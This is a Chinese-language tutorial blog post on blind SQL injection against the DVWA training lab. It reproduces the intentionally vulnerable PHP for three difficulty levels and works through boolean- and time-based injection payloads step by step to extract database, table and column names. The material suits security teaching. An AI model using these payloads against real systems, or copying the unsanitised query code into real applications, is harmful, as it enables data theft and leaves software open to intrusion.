SQL Injection(Blind)

SQL Injection(Blind):

SQL盲注:盲注时攻击者通常是无法从显示页面上获取执行结果,甚至连注入语句是否执行都无从得知,因此盲注的难度要比一般注入高。

Low:

源代码:

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
    // Get input
    $id = $_GET[ 'id' ];

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // User wasn't found, so the page wasn't!
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?> 
  • 可以看到,代码并没有对id做过多的处理,存在注入漏洞,并且查询返回结果只有两种User ID exists in the database和User ID is MISSING from the database.

方法一:布尔盲注

  • 判断注入点

    输入1显示存在,输入1’ 显示不存在,输入1’ and 1=1 #显示存在,输入1’ and 1=2 #显示不存在,判断存在字符型注入

  • 猜解数据库名的长度

    1' and length(database())=4 #
    
  • 猜解数据库名

    1' and ascii(mid(database(),1,1))>97#   
    

    显示存在

    采用二分法猜解数据库名,为dvwa

  • 猜解数据库中表的数量,有两个表

    1' and (select count (table_name) from information_schema.tables where table_schema=database() )=2 # 显示存在
    
  • 猜解表名

    • 第一个表

      • 表长:判断出第一个表的长度为9

        1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 # 显示存在
        

        这里的substr函数的用法

        **SUBSTR (str, pos)**截取从pos位置开始到最后的所有str字符串,substr()函数是从1开始的

        另一种用法**SUBSTR (str, pos, len)**从pos位置开始截取len长度的字符串

      • 猜表名:猜出表名为guestbook

        1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 #   //以这种方法猜表名
        
    • 第二个表

      • 表长:

        1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1))=5 # 显示存在
        
      • 猜表名:猜出表名为users

  • 猜解表中的字段数,为8

    1' and (select count(column_name) from information_schema.columns where table_name= 'users')=8 # 显示存在
    
  • 猜解字段名

    1' and length(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),1))=7 # 显示存在,第一个字段名有七个字母
    
    1' and ascii((select column_name from information_schema.columns where table_name= 'users' limit 0,1)) > 90 #这种方式继续爆第一个字段名
    

    采用二分法,即可猜解出所有字段名。

  • 最终构造语句得到想要获取的数据

方法二:基于时间的盲注,使用sleep()函数对语句正确性做判断

  • 判断注入类型

     输入1' and sleep(5) #,感觉到明显延迟; 
     //构造的SQL语句SELECT first_name, last_name FROM users WHERE user_id = '1' and sleep(5) #';
     输入1 and sleep(5) #,没有延迟;
     //构造的SQL语句SELECT first_name, last_name FROM users WHERE user_id = '1 and sleep(5) #';
    

    判断出是字符型注入

  • 首先猜解数据库名的长度:

    1’ and if(length(database())=1,sleep(5),1) # 没有延迟
    1’ and if(length(database())=2,sleep(5),1) # 没有延迟
    1’ and if(length(database())=3,sleep(5),1) # 没有延迟
    1’ and if(length(database())=4,sleep(5),1) # 明显延迟
    

    说明数据库名长度为4

    补充:MySQL中的if语句的使用,if(A,B,C) 当A成立时执行B,否则执行C

  • 使用相同方法去构造sql语句对数据进行爆破

Medium:

源代码:

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $id = $_POST[ 'id' ];
    $id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    //mysql_close();
}

?> 

代码中使用mysqli_real_escape_string函数对特殊字符进行了转义,并且又设置了下拉框

方法与回显注入中一样,使用burp抓包,并对一些字符转换成十六进制绕过转义,也是使用盲注的方法进行判断语句正确性

High:

源代码:

<?php

if( isset( $_COOKIE[ 'id' ] ) ) {
    // Get input
    $id = $_COOKIE[ 'id' ];

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // Might sleep a random amount
        if( rand( 0, 5 ) == 3 ) {
            sleep( rand( 2, 4 ) );   //这里增加了延时函数
        }

        // User wasn't found, so the page wasn't!
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?> 

High级别的代码利用cookie传递参数id,$_COOKIE[ ]:通过HTTP Cookies 方式传递给当前脚本的变量的数组。

并且在sql查询结果为空时,增加了延时函数,影响了时间盲注的准确性

所以在本关采用布尔类型的盲注,方法与第二关一致。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值